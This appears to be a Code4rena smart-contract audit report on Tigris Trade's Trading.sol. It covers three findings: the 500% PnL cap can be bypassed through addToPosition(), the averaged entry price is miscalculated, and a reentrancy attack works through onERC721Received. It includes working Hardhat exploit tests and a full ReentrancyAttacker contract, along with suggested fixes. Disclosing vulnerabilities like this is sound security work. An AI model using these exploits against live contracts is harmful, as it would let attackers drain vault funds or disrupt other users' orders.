Tigris Trade contest - KingNFT's results

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/Trading.sol#L267-L269

Vulnerability details

Impact

To protect the fund of vault, the protocol has a security mechanism which limits

Maximum PnL is +500%. 

source: https://docs.tigris.trade/protocol/trading-and-fees#limitations

But the implementation is missing to check this limitation while addToPosition(), an attacker can exploit it to get more profit than expected.

Proof of Concept

The following test case shows both normal case and the exploit scenario. In the normal case, a 990 USD margin, get back a 500% of 4950 USD payout, and the profit is 3960 USD. In the exploit case, the attack will get an extra 2600+ USD profit than the normal case.

const { expect } = require("chai");
const { deployments, ethers, waffle } = require("hardhat");
const { parseEther, formatEther } = ethers.utils;
const { signERC2612Permit } = require('eth-permit');
const exp = require("constants");

describe("Design Specification: Maximum PnL is +500%", function () {

  let owner;
  let node;
  let user;
  let node2;
  let node3;
  let proxy;

  let Trading;
  let trading;

  let TradingExtension;
  let tradingExtension;

  let TradingLibrary;
  let tradinglibrary;

  let StableToken;
  let stabletoken;

  let StableVault;
  let stablevault;

  let position;

  let pairscontract;
  let referrals;

  let permitSig;
  let permitSigUsdc;

  let MockDAI;
  let mockdai;
  let MockUSDC;
  let mockusdc;

  let badstablevault;

  let chainlink;

  beforeEach(async function () {
    await deployments.fixture(['test']);
    [owner, node, user, node2, node3, proxy] = await ethers.getSigners();
    StableToken = await deployments.get("StableToken");
    stabletoken = await ethers.getContractAt("StableToken", StableToken.address);
    Trading = await deployments.get("Trading");
    trading = await ethers.getContractAt("Trading", Trading.address);
    await trading.connect(owner).setMaxWinPercent(5e10);
    TradingExtension = await deployments.get("TradingExtension");
    tradingExtension = await ethers.getContractAt("TradingExtension", TradingExtension.address);
    const Position = await deployments.get("Position");
    position = await ethers.getContractAt("Position", Position.address);
    MockDAI = await deployments.get("MockDAI");
    mockdai = await ethers.getContractAt("MockERC20", MockDAI.address);
    MockUSDC = await deployments.get("MockUSDC");
    mockusdc = await ethers.getContractAt("MockERC20", MockUSDC.address);
    const PairsContract = await deployments.get("PairsContract");
    pairscontract = await ethers.getContractAt("PairsContract", PairsContract.address);
    const Referrals = await deployments.get("Referrals");
    referrals = await ethers.getContractAt("Referrals", Referrals.address);
    StableVault = await deployments.get("StableVault");
    stablevault = await ethers.getContractAt("StableVault", StableVault.address);
    await stablevault.connect(owner).listToken(MockDAI.address);
    await stablevault.connect(owner).listToken(MockUSDC.address);
    await tradingExtension.connect(owner).setAllowedMargin(StableToken.address, true);
    await tradingExtension.connect(owner).setMinPositionSize(StableToken.address, parseEther("1"));
    await tradingExtension.connect(owner).setNode(node.address, true);
    await tradingExtension.connect(owner).setNode(node2.address, true);
    await tradingExtension.connect(owner).setNode(node3.address, true);
    await network.provider.send("evm_setNextBlockTimestamp", [2000000000]);
    await network.provider.send("evm_mine");
    permitSig = await signERC2612Permit(owner, MockDAI.address, owner.address, Trading.address, ethers.constants.MaxUint256);
    permitSigUsdc = await signERC2612Permit(owner, MockUSDC.address, owner.address, Trading.address, ethers.constants.MaxUint256);

    const BadStableVault = await ethers.getContractFactory("BadStableVault");
    badstablevault = await BadStableVault.deploy(StableToken.address);

    const ChainlinkContract = await ethers.getContractFactory("MockChainlinkFeed");
    chainlink = await ChainlinkContract.deploy();

    TradingLibrary = await deployments.get("TradingLibrary");
    tradinglibrary = await ethers.getContractAt("TradingLibrary", TradingLibrary.address);
    await trading.connect(owner).setLimitOrderPriceRange(1e10);
  });


  describe("Bypass the maximum PnL check to take extra profit", function () {
    let orderId;
    let closePriceData;
    let closeSig;
    let initPrice = parseEther("1000");
    let closePrice = parseEther("2000");
    beforeEach(async function () {
      let maxWin = await trading.maxWinPercent();
      expect(maxWin.eq(5e10)).to.equal(true);

      let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 1, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
      let PriceData = [node.address, 1, initPrice, 0, 2000000000, false];
      let message = ethers.utils.keccak256(
        ethers.utils.defaultAbiCoder.encode(
          ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
          [node.address, 1, initPrice, 0, 2000000000, false]
        )
      );
      let sig = await node.signMessage(
        Buffer.from(message.substring(2), 'hex')
      );
      
      let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true];
      orderId = await position.getCount();
      await trading.connect(owner).initiateMarketOrder(TradeInfo, PriceData, sig, PermitData, owner.address);
      expect(await position.assetOpenPositionsLength(1)).to.equal(1);
      let trade = await position.trades(orderId);
      let marginAfterFee = trade.margin;
      expect(marginAfterFee.eq(parseEther('990'))).to.equal(true);

      // Some time later
      await network.provider.send("evm_setNextBlockTimestamp", [2000001000]);
      await network.provider.send("evm_mine");
      
      // Now the price is doubled, profit = margin * leverage = $990 * 10 = $9900
      closePriceData = [node.address, 1, closePrice, 0, 2000001000, false];
      let closeMessage = ethers.utils.keccak256(
        ethers.utils.defaultAbiCoder.encode(
          ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
          [node.address, 1, closePrice, 0, 2000001000, false]
        )
      );
      closeSig = await node.signMessage(
        Buffer.from(closeMessage.substring(2), 'hex')
      );

    });

    it.only("All profit is $9900, close the order normally, only get $3960 profit", async function () {
      let balanceBefore = await stabletoken.balanceOf(owner.address);
      await trading.connect(owner).initiateCloseOrder(orderId, 1e10, closePriceData, closeSig, StableVault.address, StableToken.address, owner.address);
      let balanceAfter = await stabletoken.balanceOf(owner.address);
      let marginAfterFee = parseEther("990");
      let payout = balanceAfter.sub(balanceBefore);
      expect(payout.eq(parseEther("4950"))).to.be.true;

      let profit = balanceAfter.sub(balanceBefore).sub(marginAfterFee);
      expect(profit.eq(parseEther("3960"))).to.be.true;

    });

    it.only("All profit is $9900, bypass the PnL check to take extra $2600 profit", async function () {
      // We increase the possition first rather than closing the profit order directly
      let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, false];
      let extraMargin = parseEther("1000");
      await trading.connect(owner).addToPosition(orderId, extraMargin, closePriceData, closeSig, StableVault.address, MockDAI.address, PermitData, owner.address);

      // 60 secs later
      await network.provider.send("evm_setNextBlockTimestamp", [2000001060]);
      await network.provider.send("evm_mine");
  
      // Now we close the order to take all profit
      closePriceData = [node.address, 1, closePrice, 0, 2000001060, false];
      let closeMessage = ethers.utils.keccak256(
        ethers.utils.defaultAbiCoder.encode(
          ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
          [node.address, 1, closePrice, 0, 2000001060, false]
        )
      );
      closeSig = await node.signMessage(
        Buffer.from(closeMessage.substring(2), 'hex')
      );

      let balanceBefore = await stabletoken.balanceOf(owner.address);
      await trading.connect(owner).initiateCloseOrder(orderId, 1e10, closePriceData, closeSig, StableVault.address, StableToken.address, owner.address);
      let balanceAfter = await stabletoken.balanceOf(owner.address);
      let marginAfterFee = parseEther("990").add(extraMargin.mul(990).div(1000));
      let originalProfit = parseEther("3960");
      let extraProfit = balanceAfter.sub(balanceBefore).sub(marginAfterFee).sub(originalProfit);
      expect(extraProfit.gt(parseEther('2600'))).to.be.true;
    });

  });
});

The test result

 Design Specification: Maximum PnL is +500%
    Bypass the maximum PnL check to take extra profit
      √ All profit is $9900, close the order normally, only get $3960 profit
      √ All profit is $9900, bypass the PnL check to take extra $2600 profit

Tools Used

VS Code

Recommended Mitigation Steps

Add a check for addToPosition() function, revert if PnL >= 500%, enforce users to close the order to take a limited profit.

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/Trading.sol#L295

Vulnerability details

Impact

The formula used for calculating _newPrice in addToPosition() function of Trading.sol is not correct, users will lose part of their funds/profit while using this function.

The wrong formula

uint _newPrice = _trade.price*_trade.margin/_newMargin + _price*_addMargin/_newMargin;

The correct formula is

uint _newPrice = _trade.price * _price * _newMargin /  (_trade.margin * _price + _addMargin * _trade.price);

Why this workS? Given

P1 = _trade.price
P2 = _price
P = _newPrice
M1 = _trade.margin
M2 = _addMargin
M =  M1 + M2 = _newMargin
L = _trade.leverage
U1 = M1 * L  = old position in USD
U2 = M2 * L = new position in USD
U = U1 + U2 = total position in USD
E1 = U1 / P1 = old position of base asset, such as ETH, of the pair
E2 = U2 / P2 = new position of base asset of the pair
E = E1 + E2 = total position of base asset of the pair

Then

P = U / E
  = (U1 + U2) / (E1 + E2)
  = (M1 * L + M2 * L) / (U1 / P1 + U2 / P2)
  = P1 * P2 * (M1 * L + M2 * L) / (U1 * P2 + U2 * P1)
  = P1 * P2 * (M1 + M2) * L / (M1 * L * P2 + M2 * L * P1)
  = P1 * P2 * (M1 + M2) * L / [(M1 * P2 + M2 * P1) * L]
  = P1 * P2 * M / (M1 * P2 + M2 * P1)

proven.

Proof of Concept

The following test case shows two examples that users lose some funds due to add new position whenever their existing position is in profit or loss state.

const { expect } = require("chai");
const { deployments, ethers, waffle } = require("hardhat");
const { parseEther, formatEther } = ethers.utils;
const { signERC2612Permit } = require('eth-permit');
const exp = require("constants");

describe("Incorrect calculation of new margin price while adding position", function () {
  let owner;
  let node;
  let user;
  let node2;
  let node3;
  let proxy;

  let Trading;
  let trading;

  let TradingExtension;
  let tradingExtension;

  let TradingLibrary;
  let tradinglibrary;

  let StableToken;
  let stabletoken;

  let StableVault;
  let stablevault;

  let position;

  let pairscontract;
  let referrals;

  let permitSig;
  let permitSigUsdc;

  let MockDAI;
  let mockdai;
  let MockUSDC;
  let mockusdc;

  let badstablevault;

  let chainlink;

  beforeEach(async function () {
    await deployments.fixture(['test']);
    [owner, node, user, node2, node3, proxy] = await ethers.getSigners();
    StableToken = await deployments.get("StableToken");
    stabletoken = await ethers.getContractAt("StableToken", StableToken.address);
    Trading = await deployments.get("Trading");
    trading = await ethers.getContractAt("Trading", Trading.address);
    await trading.connect(owner).setMaxWinPercent(5e10);
    TradingExtension = await deployments.get("TradingExtension");
    tradingExtension = await ethers.getContractAt("TradingExtension", TradingExtension.address);
    const Position = await deployments.get("Position");
    position = await ethers.getContractAt("Position", Position.address);
    MockDAI = await deployments.get("MockDAI");
    mockdai = await ethers.getContractAt("MockERC20", MockDAI.address);
    MockUSDC = await deployments.get("MockUSDC");
    mockusdc = await ethers.getContractAt("MockERC20", MockUSDC.address);
    const PairsContract = await deployments.get("PairsContract");
    pairscontract = await ethers.getContractAt("PairsContract", PairsContract.address);
    const Referrals = await deployments.get("Referrals");
    referrals = await ethers.getContractAt("Referrals", Referrals.address);
    StableVault = await deployments.get("StableVault");
    stablevault = await ethers.getContractAt("StableVault", StableVault.address);
    await stablevault.connect(owner).listToken(MockDAI.address);
    await stablevault.connect(owner).listToken(MockUSDC.address);
    await tradingExtension.connect(owner).setAllowedMargin(StableToken.address, true);
    await tradingExtension.connect(owner).setMinPositionSize(StableToken.address, parseEther("1"));
    await tradingExtension.connect(owner).setNode(node.address, true);
    await tradingExtension.connect(owner).setNode(node2.address, true);
    await tradingExtension.connect(owner).setNode(node3.address, true);
    await network.provider.send("evm_setNextBlockTimestamp", [2000000000]);
    await network.provider.send("evm_mine");
    permitSig = await signERC2612Permit(owner, MockDAI.address, owner.address, Trading.address, ethers.constants.MaxUint256);
    permitSigUsdc = await signERC2612Permit(owner, MockUSDC.address, owner.address, Trading.address, ethers.constants.MaxUint256);

    const BadStableVault = await ethers.getContractFactory("BadStableVault");
    badstablevault = await BadStableVault.deploy(StableToken.address);

    const ChainlinkContract = await ethers.getContractFactory("MockChainlinkFeed");
    chainlink = await ChainlinkContract.deploy();

    TradingLibrary = await deployments.get("TradingLibrary");
    tradinglibrary = await ethers.getContractAt("TradingLibrary", TradingLibrary.address);
    await trading.connect(owner).setLimitOrderPriceRange(1e10);
  });


  describe("Initial margin $500, leverage 2x, position $1000, price $1000", function () {
    let orderId;
    let initPrice = parseEther("1000");
    beforeEach(async function () {
      // To simpliy the problem, set fees to 0
      await trading.setFees(true, 0, 0, 0, 0, 0);
      await trading.setFees(false, 0, 0, 0, 0, 0);

      let TradeInfo = [parseEther("500"), MockDAI.address, StableVault.address, parseEther("2"), 1, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
      let PriceData = [node.address, 1, initPrice, 0, 2000000000, false];
      let message = ethers.utils.keccak256(
        ethers.utils.defaultAbiCoder.encode(
          ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
          [node.address, 1, initPrice, 0, 2000000000, false]
        )
      );
      let sig = await node.signMessage(
        Buffer.from(message.substring(2), 'hex')
      );
      
      let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true];
      orderId = await position.getCount();
      await trading.connect(owner).initiateMarketOrder(TradeInfo, PriceData, sig, PermitData, owner.address);
      expect(await position.assetOpenPositionsLength(1)).to.equal(1);
      let trade = await position.trades(orderId);
      let marginAfterFee = trade.margin;
      expect(marginAfterFee.eq(parseEther('500'))).to.equal(true);
      expect(trade.price.eq(parseEther('1000'))).to.be.true;
      expect(trade.leverage.eq(parseEther('2'))).to.be.true;
    });

    it.only("Add position with new price $2000 and new margin $500, expected PnL payout $2000, actual payout $1666", async function () {
      // The price increases from $1000 to $2000, the old position earns $1000 profit.
      // The expected PnL payout = old margin + earned profit + new margin
      //                         = $500 + $1000 + $500
      //                         = $2000
      let addingPrice = parseEther('2000');
      let addingPriceData = [node.address, 1, addingPrice, 0, 2000000000, false];
      let addingMessage = ethers.utils.keccak256(
        ethers.utils.defaultAbiCoder.encode(
          ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
          [node.address, 1, addingPrice, 0, 2000000000, false]
        )
      );
      let addingSig = await node.signMessage(
        Buffer.from(addingMessage.substring(2), 'hex')
      );

      let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, false];
      await trading.connect(owner).addToPosition(orderId, parseEther('500'), addingPriceData, addingSig, StableVault.address, MockDAI.address, PermitData, owner.address);

      let trade = await position.trades(orderId);
      let pnl = await tradinglibrary.pnl(trade.direction, addingPrice, trade.price,
        trade.margin, trade.leverage, trade.accInterest);
      expect(pnl._payout.gt(parseEther('1666'))).to.be.true;
      expect(pnl._payout.lt(parseEther('1667'))).to.be.true;
    });

    it.only("Add position with new price $750 and new margin $500, expected PnL payout $750, actual payout $714", async function () {
      // The price decreases from $1000 to $750, the old position losses $250.
      // The expected PnL payout = old margin - loss + new margin
      //                         = $500 - $250 + $500
      //                         = $750
      let addingPrice = parseEther('750');
      let addingPriceData = [node.address, 1, addingPrice, 0, 2000000000, false];
      let addingMessage = ethers.utils.keccak256(
        ethers.utils.defaultAbiCoder.encode(
          ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
          [node.address, 1, addingPrice, 0, 2000000000, false]
        )
      );
      let addingSig = await node.signMessage(
        Buffer.from(addingMessage.substring(2), 'hex')
      );

      let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, false];
      await trading.connect(owner).addToPosition(orderId, parseEther('500'), addingPriceData, addingSig, StableVault.address, MockDAI.address, PermitData, owner.address);

      let trade = await position.trades(orderId);
      let pnl = await tradinglibrary.pnl(trade.direction, addingPrice, trade.price,
        trade.margin, trade.leverage, trade.accInterest);
      expect(pnl._payout.gt(parseEther('714'))).to.be.true;
      expect(pnl._payout.lt(parseEther('715'))).to.be.true;
    });

  });
});

The test result

Incorrect calculation of new margin price while adding position
    Initial margin $500, leverage 2x, position $1000, price $1000
      √ Add position with new price $2000 and new margin $500, expected PnL payout $2000, actual payout $1666
      √ Add position with new price $750 and new margin $500, expected PnL payout $750, actual payout $714

Tools Used

hardhat

Recommended Mitigation Steps

Use the correct formula, the following test case is for the same above examples after fix.

const { expect } = require("chai");
const { deployments, ethers, waffle } = require("hardhat");
const { parseEther, formatEther } = ethers.utils;
const { signERC2612Permit } = require('eth-permit');
const exp = require("constants");

describe("Correct calculation of new margin price while adding position", function () {
  let owner;
  let node;
  let user;
  let node2;
  let node3;
  let proxy;

  let Trading;
  let trading;

  let TradingExtension;
  let tradingExtension;

  let TradingLibrary;
  let tradinglibrary;

  let StableToken;
  let stabletoken;

  let StableVault;
  let stablevault;

  let position;

  let pairscontract;
  let referrals;

  let permitSig;
  let permitSigUsdc;

  let MockDAI;
  let mockdai;
  let MockUSDC;
  let mockusdc;

  let badstablevault;

  let chainlink;

  beforeEach(async function () {
    await deployments.fixture(['test']);
    [owner, node, user, node2, node3, proxy] = await ethers.getSigners();
    StableToken = await deployments.get("StableToken");
    stabletoken = await ethers.getContractAt("StableToken", StableToken.address);
    Trading = await deployments.get("Trading");
    trading = await ethers.getContractAt("Trading", Trading.address);
    await trading.connect(owner).setMaxWinPercent(5e10);
    TradingExtension = await deployments.get("TradingExtension");
    tradingExtension = await ethers.getContractAt("TradingExtension", TradingExtension.address);
    const Position = await deployments.get("Position");
    position = await ethers.getContractAt("Position", Position.address);
    MockDAI = await deployments.get("MockDAI");
    mockdai = await ethers.getContractAt("MockERC20", MockDAI.address);
    MockUSDC = await deployments.get("MockUSDC");
    mockusdc = await ethers.getContractAt("MockERC20", MockUSDC.address);
    const PairsContract = await deployments.get("PairsContract");
    pairscontract = await ethers.getContractAt("PairsContract", PairsContract.address);
    const Referrals = await deployments.get("Referrals");
    referrals = await ethers.getContractAt("Referrals", Referrals.address);
    StableVault = await deployments.get("StableVault");
    stablevault = await ethers.getContractAt("StableVault", StableVault.address);
    await stablevault.connect(owner).listToken(MockDAI.address);
    await stablevault.connect(owner).listToken(MockUSDC.address);
    await tradingExtension.connect(owner).setAllowedMargin(StableToken.address, true);
    await tradingExtension.connect(owner).setMinPositionSize(StableToken.address, parseEther("1"));
    await tradingExtension.connect(owner).setNode(node.address, true);
    await tradingExtension.connect(owner).setNode(node2.address, true);
    await tradingExtension.connect(owner).setNode(node3.address, true);
    await network.provider.send("evm_setNextBlockTimestamp", [2000000000]);
    await network.provider.send("evm_mine");
    permitSig = await signERC2612Permit(owner, MockDAI.address, owner.address, Trading.address, ethers.constants.MaxUint256);
    permitSigUsdc = await signERC2612Permit(owner, MockUSDC.address, owner.address, Trading.address, ethers.constants.MaxUint256);

    const BadStableVault = await ethers.getContractFactory("BadStableVault");
    badstablevault = await BadStableVault.deploy(StableToken.address);

    const ChainlinkContract = await ethers.getContractFactory("MockChainlinkFeed");
    chainlink = await ChainlinkContract.deploy();

    TradingLibrary = await deployments.get("TradingLibrary");
    tradinglibrary = await ethers.getContractAt("TradingLibrary", TradingLibrary.address);
    await trading.connect(owner).setLimitOrderPriceRange(1e10);
  });


  describe("Initial margin $500, leverage 2x, position $1000, price $1000", function () {
    let orderId;
    let initPrice = parseEther("1000");
    beforeEach(async function () {
      // To simpliy the problem, set fees to 0
      await trading.setFees(true, 0, 0, 0, 0, 0);
      await trading.setFees(false, 0, 0, 0, 0, 0);

      let TradeInfo = [parseEther("500"), MockDAI.address, StableVault.address, parseEther("2"), 1, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
      let PriceData = [node.address, 1, initPrice, 0, 2000000000, false];
      let message = ethers.utils.keccak256(
        ethers.utils.defaultAbiCoder.encode(
          ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
          [node.address, 1, initPrice, 0, 2000000000, false]
        )
      );
      let sig = await node.signMessage(
        Buffer.from(message.substring(2), 'hex')
      );
      
      let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true];
      orderId = await position.getCount();
      await trading.connect(owner).initiateMarketOrder(TradeInfo, PriceData, sig, PermitData, owner.address);
      expect(await position.assetOpenPositionsLength(1)).to.equal(1);
      let trade = await position.trades(orderId);
      let marginAfterFee = trade.margin;
      expect(marginAfterFee.eq(parseEther('500'))).to.equal(true);
      expect(trade.price.eq(parseEther('1000'))).to.be.true;
      expect(trade.leverage.eq(parseEther('2'))).to.be.true;
    });

    it.only("Add position with new price $2000 and new margin $500, expected PnL payout $2000, actual payout $1999.99999", async function () {
      // The price increases from $1000 to $2000, the old position earns $1000 profit.
      // The expected PnL payout = old margin + earned profit + new margin
      //                         = $500 + $1000 + $500
      //                         = $2000
      let addingPrice = parseEther('2000');
      let addingPriceData = [node.address, 1, addingPrice, 0, 2000000000, false];
      let addingMessage = ethers.utils.keccak256(
        ethers.utils.defaultAbiCoder.encode(
          ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
          [node.address, 1, addingPrice, 0, 2000000000, false]
        )
      );
      let addingSig = await node.signMessage(
        Buffer.from(addingMessage.substring(2), 'hex')
      );

      let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, false];
      await trading.connect(owner).addToPosition(orderId, parseEther('500'), addingPriceData, addingSig, StableVault.address, MockDAI.address, PermitData, owner.address);

      let trade = await position.trades(orderId);
      let pnl = await tradinglibrary.pnl(trade.direction, addingPrice, trade.price,
        trade.margin, trade.leverage, trade.accInterest);
      expect(pnl._payout.gt(parseEther('1999.99999'))).to.be.true;
      expect(pnl._payout.lt(parseEther('2000'))).to.be.true;
    });

    it.only("Add position with new price $750 and new margin $500, expected PnL payout $750, actual payout $749.99999", async function () {
      // The price decreases from $1000 to $750, the old position losses $250.
      // The expected PnL payout = old margin - loss + new margin
      //                         = $500 - $250 + $500
      //                         = $750
      let addingPrice = parseEther('750');
      let addingPriceData = [node.address, 1, addingPrice, 0, 2000000000, false];
      let addingMessage = ethers.utils.keccak256(
        ethers.utils.defaultAbiCoder.encode(
          ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
          [node.address, 1, addingPrice, 0, 2000000000, false]
        )
      );
      let addingSig = await node.signMessage(
        Buffer.from(addingMessage.substring(2), 'hex')
      );

      let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, false];
      await trading.connect(owner).addToPosition(orderId, parseEther('500'), addingPriceData, addingSig, StableVault.address, MockDAI.address, PermitData, owner.address);

      let trade = await position.trades(orderId);
      let pnl = await tradinglibrary.pnl(trade.direction, addingPrice, trade.price,
        trade.margin, trade.leverage, trade.accInterest);
      expect(pnl._payout.gt(parseEther('749.99999'))).to.be.true;
      expect(pnl._payout.lt(parseEther('750'))).to.be.true;
    });

  });
});

The test result

Correct calculation of new margin price while adding position
    Initial margin $500, leverage 2x, position $1000, price $1000
      √ Add position with new price $2000 and new margin $500, expected PnL payout $2000, actual payout $1999.99999
      √ Add position with new price $750 and new margin $500, expected PnL payout $750, actual payout $749.99999

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/Trading.sol#L314 https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/Trading.sol#L355

Vulnerability details

Impact

External functions of Trading.sol is susceptible to reentrancy attack, a working attack example on 'initiateLimitOrder()' and 'cancelLimitOrder' is included in this submission which will cause <1> Cancelled order is still in limitOrders() <2> Other users' order is removed from limitOrders()

Proof of Concept

The working attack contract instance, put it into a new ReentrancyAttacker.sol file of contracts directory

//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;

import "./utils/MetaContext.sol";
import "./interfaces/ITrading.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./interfaces/IPairsContract.sol";
import "./interfaces/IReferrals.sol";
import "./interfaces/IPosition.sol";
import "./interfaces/IGovNFT.sol";
import "./interfaces/IStableVault.sol";
import "./utils/TradingLibrary.sol";

contract ReentrancyAttacker {
    address target;

    function initiateLimitOrder(
        ITrading.TradeInfo calldata _tradeInfo,
        uint256 _orderType, // 1 limit, 2 stop
        uint256 _price,
        ITrading.ERC20PermitData calldata _permitData
    )
        external
    {
        ITrading(target).initiateLimitOrder(
            _tradeInfo,
            _orderType,
            _price,
            _permitData,
            address(this)
        );
    }

    function setTarget(address _target) external {
        target = _target;
    }

    function approve(address token, address spender) external {
        IERC20(token).approve(spender, type(uint256).max);
    }

    function onERC721Received(
    address ,
    address ,
    uint256 id,
    bytes calldata
    ) external returns(bytes4) {
        ITrading(target).cancelLimitOrder(id, address(this));
        return this.onERC721Received.selector;
    }
}

The test case shows how the attack works

const { expect } = require("chai");
const { deployments, ethers, waffle } = require("hardhat");
const { parseEther, formatEther } = ethers.utils;
const { signERC2612Permit } = require('eth-permit');
const exp = require("constants");

describe("Reentrancy attack on Trading contract", function () {

  let owner;
  let node;
  let user;
  let node2;
  let node3;
  let proxy;

  let Trading;
  let trading;

  let TradingExtension;
  let tradingExtension;

  let TradingLibrary;
  let tradinglibrary;

  let StableToken;
  let stabletoken;

  let StableVault;
  let stablevault;

  let position;

  let pairscontract;
  let referrals;

  let permitSig;
  let permitSigUsdc;

  let MockDAI;
  let mockdai;
  let MockUSDC;
  let mockusdc;

  let badstablevault;

  let chainlink;

  beforeEach(async function () {
    await deployments.fixture(['test']);
    [owner, node, user, node2, node3, proxy] = await ethers.getSigners();
    StableToken = await deployments.get("StableToken");
    stabletoken = await ethers.getContractAt("StableToken", StableToken.address);
    Trading = await deployments.get("Trading");
    trading = await ethers.getContractAt("Trading", Trading.address);
    await trading.connect(owner).setMaxWinPercent(5e10);
    TradingExtension = await deployments.get("TradingExtension");
    tradingExtension = await ethers.getContractAt("TradingExtension", TradingExtension.address);
    const Position = await deployments.get("Position");
    position = await ethers.getContractAt("Position", Position.address);
    MockDAI = await deployments.get("MockDAI");
    mockdai = await ethers.getContractAt("MockERC20", MockDAI.address);
    MockUSDC = await deployments.get("MockUSDC");
    mockusdc = await ethers.getContractAt("MockERC20", MockUSDC.address);
    const PairsContract = await deployments.get("PairsContract");
    pairscontract = await ethers.getContractAt("PairsContract", PairsContract.address);
    const Referrals = await deployments.get("Referrals");
    referrals = await ethers.getContractAt("Referrals", Referrals.address);
    StableVault = await deployments.get("StableVault");
    stablevault = await ethers.getContractAt("StableVault", StableVault.address);
    await stablevault.connect(owner).listToken(MockDAI.address);
    await stablevault.connect(owner).listToken(MockUSDC.address);
    await tradingExtension.connect(owner).setAllowedMargin(StableToken.address, true);
    await tradingExtension.connect(owner).setMinPositionSize(StableToken.address, parseEther("1"));
    await tradingExtension.connect(owner).setNode(node.address, true);
    await tradingExtension.connect(owner).setNode(node2.address, true);
    await tradingExtension.connect(owner).setNode(node3.address, true);
    await network.provider.send("evm_setNextBlockTimestamp", [2000000000]);
    await network.provider.send("evm_mine");
    permitSig = await signERC2612Permit(owner, MockDAI.address, owner.address, Trading.address, ethers.constants.MaxUint256);
    permitSigUsdc = await signERC2612Permit(owner, MockUSDC.address, owner.address, Trading.address, ethers.constants.MaxUint256);

    const BadStableVault = await ethers.getContractFactory("BadStableVault");
    badstablevault = await BadStableVault.deploy(StableToken.address);

    const ChainlinkContract = await ethers.getContractFactory("MockChainlinkFeed");
    chainlink = await ChainlinkContract.deploy();

    TradingLibrary = await deployments.get("TradingLibrary");
    tradinglibrary = await ethers.getContractAt("TradingLibrary", TradingLibrary.address);
    await trading.connect(owner).setLimitOrderPriceRange(1e10);
  });


  describe("Exploit 'initiateLimitOrder()' and 'cancelLimitOrder'", function () {
    let TradeInfo;
    let PriceData;
    let sig;
    let PermitData;
    let attacker;
    let otherUsersOrderId;
    let attacksOrderId;
    beforeEach(async function () {
      const ReentrancyAttacker = await ethers.getContractFactory("ReentrancyAttacker");
      attacker = await ReentrancyAttacker.deploy();
      await mockdai.connect(owner).transfer(attacker.address, parseEther('10000'));

      let initPrice = parseEther('1000');
      TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 1, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
      PriceData = [node.address, 1, initPrice, 0, 2000000000, false];
      let message = ethers.utils.keccak256(
        ethers.utils.defaultAbiCoder.encode(
          ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
          [node.address, 1, initPrice, 0, 2000000000, false]
        )
      );
      sig = await node.signMessage(
        Buffer.from(message.substring(2), 'hex')
      );
      
      PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true];

      otherUsersOrderId = await position.getCount();
      await trading.connect(owner).initiateLimitOrder(TradeInfo, 1, parseEther("20000"), PermitData, owner.address);
      expect(await position.limitOrdersLength(1)).to.equal(1);
      let trade = await position.trades(otherUsersOrderId);
      expect(trade.trader).to.equal(owner.address);

      attacksOrderId = await position.getCount();
      PermitData[5] = false;
      await attacker.connect(owner).setTarget(trading.address);
      await attacker.connect(owner).approve(mockdai.address, trading.address);
      await attacker.connect(owner).initiateLimitOrder(TradeInfo, 1, parseEther("1000"), PermitData);
      await expect(position.trades(attacksOrderId)).to.be.revertedWith('ERC721: invalid token ID');
      let balance = await stabletoken.balanceOf(attacker.address);
      expect(balance.eq(parseEther('1000'))).to.be.true;
    });

    it.only("Cancelled order is still in 'limitOrders()'", async function () {
      let ids = await position.limitOrders(1);
      let existing = false;
      for (let id of ids) {
        if (id.eq(attacksOrderId)) {
          existing = true;
        }
      }
      expect(existing).to.be.true;
    });

    it.only("Other users' order is removed from 'limitOrders()'", async function () {
      let ids = await position.limitOrders(1);
      let existing = false;
      for (let id of ids) {
        if (id.eq(otherUsersOrderId)) {
          existing = true;
        }
      }
      expect(existing).to.be.false;
    });

  });
});

The test result

 Reentrancy attack on Trading contract
    Exploit 'initiateLimitOrder()' and 'cancelLimitOrder'
      √ Cancelled order is still in 'limitOrders()'
      √ Other users' order is removed from 'limitOrders()'

Tools Used

hardhat

Recommended Mitigation Steps

Add reentrancy protection for the following external functions

initiateMarketOrder()
initiateCloseOrder()
addToPosition()
initiateLimitOrder()
cancelLimitOrder()
addMargin()
